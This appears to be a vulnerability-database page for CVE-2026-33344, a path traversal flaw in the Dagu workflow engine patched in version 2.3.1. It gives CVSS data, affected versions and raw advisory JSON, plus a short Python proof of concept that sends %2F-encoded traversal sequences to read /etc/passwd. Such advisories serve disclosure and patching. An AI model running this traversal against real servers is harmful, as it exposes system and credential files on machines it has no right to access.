Security Vulnerability Report
中文
CVE-2026-33344 CVSS 8.1 HIGH

CVE-2026-33344

Published: 2026-03-24 20:16:29
Last Modified: 2026-03-26 13:03:14

Description

Dagu is a workflow engine with a built-in Web user interface. From version 2.0.0 to before version 2.3.1, the fix for CVE-2026-27598 added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory. This issue has been patched in version 2.3.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:dagu:dagu:*:*:*:*:*:*:*:* - VULNERABLE
Dagu >= 2.0.0, < 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL example target_url = "http://localhost:8080" # The vulnerability allows %2F (encoded slash) to traverse directories # Attempting to read /etc/passwd using the GET endpoint malicious_filename = "..%2F..%2F..%2F..%2Fetc%2Fpasswd" # Construct the request to a vulnerable endpoint (e.g., /api/dags/{fileName}) # Note: Actual endpoint path may vary based on Dagu configuration url = f"{target_url}/api/dags/{malicious_filename}" try: response = requests.get(url, timeout=10) if response.status_code == 200: print("[+] Potential Path Traversal Successful!") print(f"[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33344", "sourceIdentifier": "[email protected]", "published": "2026-03-24T20:16:28.910", "lastModified": "2026-03-26T13:03:13.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dagu is a workflow engine with a built-in Web user interface. From version 2.0.0 to before version 2.3.1, the fix for CVE-2026-27598 added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory. This issue has been patched in version 2.3.1."}, {"lang": "es", "value": "Dagu es un motor de flujo de trabajo con una interfaz de usuario web integrada. Desde la versión 2.0.0 hasta antes de la versión 2.3.1, la corrección para CVE-2026-27598 añadió ValidateDAGName a CreateNewDAG y reescribió generateFilePath para usar filepath.Base. Esto parcheó la ruta CREATE. Los puntos finales de la API restantes - GET, DELETE, RENAME, EXECUTE - todos pasan el parámetro de ruta URL {fileName} a locateDAG sin llamar a ValidateDAGName. Barras diagonales codificadas con %2F en el segmento {fileName} atraviesan fuera del directorio DAGs. Este problema ha sido parcheado en la versión 2.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dagu:dagu:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.3.1", "matchCriteriaId": "CA816FA1-28C8-423D-9509-4299AA991660"}]}]}], "references": [{"url": "https://github.com/dagu-org/dagu/commit/7d07fda8f9de3ae73dfb081ccd0639f8059c56bb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/dagu-org/dagu/security/advisories/GHSA-ph8x-4jfv-v9v8", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}